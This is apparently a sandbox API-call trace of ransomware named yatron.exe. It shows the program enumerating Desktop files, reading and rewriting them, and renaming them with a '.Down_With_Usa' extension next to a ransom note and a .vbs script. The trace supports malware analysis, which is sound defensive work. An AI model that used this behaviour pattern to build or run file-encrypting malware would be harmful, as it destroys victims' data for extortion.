[0115.637] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8113ae20, ftCreationTime.dwHighDateTime=0x1d5e6d9, ftLastAccessTime.dwLowDateTime=0x7578e420, ftLastAccessTime.dwHighDateTime=0x1d5db19, ftLastWriteTime.dwLowDateTime=0x20dae240, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x17f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="zFo2RxjXMBylRJ8-.jpg.Down_With_Usa", cAlternateFileName="ZFO2RX~1.DOW")) returned 0
[0115.637] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0115.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebfd0) returned 1
[0115.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebf90) returned 1
[0115.638] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe", lpFilePart=0x0) returned 0x30
[0115.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0115.638] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yatron.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0115.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0115.638] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x38b600
[0115.812] ReadFile (in: hFile=0x3a8, lpBuffer=0x13276038, nNumberOfBytesToRead=0x38b600, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x13276038*, lpNumberOfBytesRead=0x2ebe58*=0x38b600, lpOverlapped=0x0) returned 1
[0117.044] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe", lpFilePart=0x0) returned 0x30
[0117.044] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0117.044] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yatron.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0117.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2e86e0) returned 1
[0117.049] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0117.049] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH", lpFilePart=0x0) returned 0x37
[0117.049] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\", lpFilePart=0x0) returned 0x38
[0117.049] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc007a960, ftCreationTime.dwHighDateTime=0x1d5dc11, ftLastAccessTime.dwLowDateTime=0x211b2760, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x211b2760, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0117.049] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc007a960, ftCreationTime.dwHighDateTime=0x1d5dc11, ftLastAccessTime.dwLowDateTime=0x211b2760, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x211b2760, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0117.050] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2118c600, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2118c600, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2118c600, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.txt", cAlternateFileName="!PLEAS~1.TXT")) returned 1
[0117.050] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211b2760, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x211b2760, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x211b2760, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.vbs", cAlternateFileName="!PLEAS~1.VBS")) returned 1
[0117.050] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e24dc50, ftCreationTime.dwHighDateTime=0x1d5dece, ftLastAccessTime.dwLowDateTime=0xe7a313d0, ftLastAccessTime.dwHighDateTime=0x1d5e290, ftLastWriteTime.dwLowDateTime=0x20e20660, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x910, dwReserved0=0x0, dwReserved1=0x0, cFileName="-9AUlfZt XkSaee.png.Down_With_Usa", cAlternateFileName="-9AULF~1.DOW")) returned 1
[0117.050] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf643eb80, ftCreationTime.dwHighDateTime=0x1d5dfa2, ftLastAccessTime.dwLowDateTime=0x6a8a1c10, ftLastAccessTime.dwHighDateTime=0x1d5dec4, ftLastWriteTime.dwLowDateTime=0x6a8a1c10, ftLastWriteTime.dwHighDateTime=0x1d5dec4, nFileSizeHigh=0x0, nFileSizeLow=0xee9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="1r_iWvO-.m4a", cAlternateFileName="")) returned 1
[0117.051] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5092c00, ftCreationTime.dwHighDateTime=0x1d5e08f, ftLastAccessTime.dwLowDateTime=0x4c591240, ftLastAccessTime.dwHighDateTime=0x1d5d9ed, ftLastWriteTime.dwLowDateTime=0x20eb8be0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x5be0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4MpfxDyRBYXshnSF.flv.Down_With_Usa", cAlternateFileName="4MPFXD~1.DOW")) returned 1
[0117.051] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39251860, ftCreationTime.dwHighDateTime=0x1d5e814, ftLastAccessTime.dwLowDateTime=0x429686b0, ftLastAccessTime.dwHighDateTime=0x1d5dcff, ftLastWriteTime.dwLowDateTime=0x20f2b000, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4d30, dwReserved0=0x0, dwReserved1=0x0, cFileName="9qDc.bmp.Down_With_Usa", cAlternateFileName="9QDCBM~1.DOW")) returned 1
[0117.051] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51b78940, ftCreationTime.dwHighDateTime=0x1d5e435, ftLastAccessTime.dwLowDateTime=0x5ea17f40, ftLastAccessTime.dwHighDateTime=0x1d5e0f1, ftLastWriteTime.dwLowDateTime=0x2100f840, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x180f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EHN9g.png.Down_With_Usa", cAlternateFileName="EHN9GP~1.DOW")) returned 1
[0117.051] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75655e0, ftCreationTime.dwHighDateTime=0x1d5d7c7, ftLastAccessTime.dwLowDateTime=0x613dbf20, ftLastAccessTime.dwHighDateTime=0x1d5e2cc, ftLastWriteTime.dwLowDateTime=0x21081c60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x8650, dwReserved0=0x0, dwReserved1=0x0, cFileName="hK_3yzTfN67FeXi.wav.Down_With_Usa", cAlternateFileName="HK_3YZ~1.DOW")) returned 1
[0117.051] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9224fc50, ftCreationTime.dwHighDateTime=0x1d5e148, ftLastAccessTime.dwLowDateTime=0x81936410, ftLastAccessTime.dwHighDateTime=0x1d5dcd6, ftLastWriteTime.dwLowDateTime=0x81936410, ftLastWriteTime.dwHighDateTime=0x1d5dcd6, nFileSizeHigh=0x0, nFileSizeLow=0x163c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="nuFUvZvap.m4a", cAlternateFileName="NUFUVZ~1.M4A")) returned 1
[0117.052] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68fcf330, ftCreationTime.dwHighDateTime=0x1d5de52, ftLastAccessTime.dwLowDateTime=0x78fee030, ftLastAccessTime.dwHighDateTime=0x1d5e425, ftLastWriteTime.dwLowDateTime=0x210cdf20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xcde0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NwlIJoXs.swf.Down_With_Usa", cAlternateFileName="NWLIJO~1.DOW")) returned 1
[0117.052] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b25aa0, ftCreationTime.dwHighDateTime=0x1d5dead, ftLastAccessTime.dwLowDateTime=0x940865a0, ftLastAccessTime.dwHighDateTime=0x1d5e4a6, ftLastWriteTime.dwLowDateTime=0x211664a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xbb00, dwReserved0=0x0, dwReserved1=0x0, cFileName="qkXY72EZzbIYwx-D.docx.Down_With_Usa", cAlternateFileName="QKXY72~1.DOW")) returned 1
[0117.052] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0117.052] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0117.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba50) returned 1
[0117.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba10) returned 1
[0117.053] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0117.053] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH", lpFilePart=0x0) returned 0x37
[0117.053] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\", lpFilePart=0x0) returned 0x38
[0117.053] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc007a960, ftCreationTime.dwHighDateTime=0x1d5dc11, ftLastAccessTime.dwLowDateTime=0x211b2760, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x211b2760, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0117.053] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc007a960, ftCreationTime.dwHighDateTime=0x1d5dc11, ftLastAccessTime.dwLowDateTime=0x211b2760, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x211b2760, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0117.053] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2118c600, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2118c600, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2118c600, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.txt", cAlternateFileName="!PLEAS~1.TXT")) returned 1
[0117.053] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211b2760, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x211b2760, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x211b2760, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.vbs", cAlternateFileName="!PLEAS~1.VBS")) returned 1
[0117.054] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e24dc50, ftCreationTime.dwHighDateTime=0x1d5dece, ftLastAccessTime.dwLowDateTime=0xe7a313d0, ftLastAccessTime.dwHighDateTime=0x1d5e290, ftLastWriteTime.dwLowDateTime=0x20e20660, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x910, dwReserved0=0x0, dwReserved1=0x0, cFileName="-9AUlfZt XkSaee.png.Down_With_Usa", cAlternateFileName="-9AULF~1.DOW")) returned 1
[0117.054] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf643eb80, ftCreationTime.dwHighDateTime=0x1d5dfa2, ftLastAccessTime.dwLowDateTime=0x6a8a1c10, ftLastAccessTime.dwHighDateTime=0x1d5dec4, ftLastWriteTime.dwLowDateTime=0x6a8a1c10, ftLastWriteTime.dwHighDateTime=0x1d5dec4, nFileSizeHigh=0x0, nFileSizeLow=0xee9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="1r_iWvO-.m4a", cAlternateFileName="")) returned 1
[0117.054] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5092c00, ftCreationTime.dwHighDateTime=0x1d5e08f, ftLastAccessTime.dwLowDateTime=0x4c591240, ftLastAccessTime.dwHighDateTime=0x1d5d9ed, ftLastWriteTime.dwLowDateTime=0x20eb8be0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x5be0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4MpfxDyRBYXshnSF.flv.Down_With_Usa", cAlternateFileName="4MPFXD~1.DOW")) returned 1
[0117.054] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39251860, ftCreationTime.dwHighDateTime=0x1d5e814, ftLastAccessTime.dwLowDateTime=0x429686b0, ftLastAccessTime.dwHighDateTime=0x1d5dcff, ftLastWriteTime.dwLowDateTime=0x20f2b000, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4d30, dwReserved0=0x0, dwReserved1=0x0, cFileName="9qDc.bmp.Down_With_Usa", cAlternateFileName="9QDCBM~1.DOW")) returned 1
[0117.054] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51b78940, ftCreationTime.dwHighDateTime=0x1d5e435, ftLastAccessTime.dwLowDateTime=0x5ea17f40, ftLastAccessTime.dwHighDateTime=0x1d5e0f1, ftLastWriteTime.dwLowDateTime=0x2100f840, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x180f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EHN9g.png.Down_With_Usa", cAlternateFileName="EHN9GP~1.DOW")) returned 1
[0117.055] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75655e0, ftCreationTime.dwHighDateTime=0x1d5d7c7, ftLastAccessTime.dwLowDateTime=0x613dbf20, ftLastAccessTime.dwHighDateTime=0x1d5e2cc, ftLastWriteTime.dwLowDateTime=0x21081c60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x8650, dwReserved0=0x0, dwReserved1=0x0, cFileName="hK_3yzTfN67FeXi.wav.Down_With_Usa", cAlternateFileName="HK_3YZ~1.DOW")) returned 1
[0117.055] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9224fc50, ftCreationTime.dwHighDateTime=0x1d5e148, ftLastAccessTime.dwLowDateTime=0x81936410, ftLastAccessTime.dwHighDateTime=0x1d5dcd6, ftLastWriteTime.dwLowDateTime=0x81936410, ftLastWriteTime.dwHighDateTime=0x1d5dcd6, nFileSizeHigh=0x0, nFileSizeLow=0x163c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="nuFUvZvap.m4a", cAlternateFileName="NUFUVZ~1.M4A")) returned 1
[0117.055] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68fcf330, ftCreationTime.dwHighDateTime=0x1d5de52, ftLastAccessTime.dwLowDateTime=0x78fee030, ftLastAccessTime.dwHighDateTime=0x1d5e425, ftLastWriteTime.dwLowDateTime=0x210cdf20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xcde0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NwlIJoXs.swf.Down_With_Usa", cAlternateFileName="NWLIJO~1.DOW")) returned 1
[0117.055] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b25aa0, ftCreationTime.dwHighDateTime=0x1d5dead, ftLastAccessTime.dwLowDateTime=0x940865a0, ftLastAccessTime.dwHighDateTime=0x1d5e4a6, ftLastWriteTime.dwLowDateTime=0x211664a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xbb00, dwReserved0=0x0, dwReserved1=0x0, cFileName="qkXY72EZzbIYwx-D.docx.Down_With_Usa", cAlternateFileName="QKXY72~1.DOW")) returned 1
[0117.056] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b25aa0, ftCreationTime.dwHighDateTime=0x1d5dead, ftLastAccessTime.dwLowDateTime=0x940865a0, ftLastAccessTime.dwHighDateTime=0x1d5e4a6, ftLastWriteTime.dwLowDateTime=0x211664a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xbb00, dwReserved0=0x0, dwReserved1=0x0, cFileName="qkXY72EZzbIYwx-D.docx.Down_With_Usa", cAlternateFileName="QKXY72~1.DOW")) returned 0
[0117.056] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0117.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba50) returned 1
[0117.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba10) returned 1
[0117.056] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x4c
[0117.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0117.056] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\!please read me!.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0117.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0117.057] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0x623
[0117.057] ReadFile (in: hFile=0x3a8, lpBuffer=0x26cc0a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x26cc0a0*, lpNumberOfBytesRead=0x2eb8d8*=0x623, lpOverlapped=0x0) returned 1
[0117.116] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x4c
[0117.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0117.116] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0117.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0117.119] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x4c
[0117.119] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x5a
[0117.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0117.119] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\!please read me!.txt"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2118c600, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2118c600, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x22497600, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x630)) returned 1
[0117.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0117.120] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\!please read me!.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\!please read me!.txt.down_with_usa")) returned 1
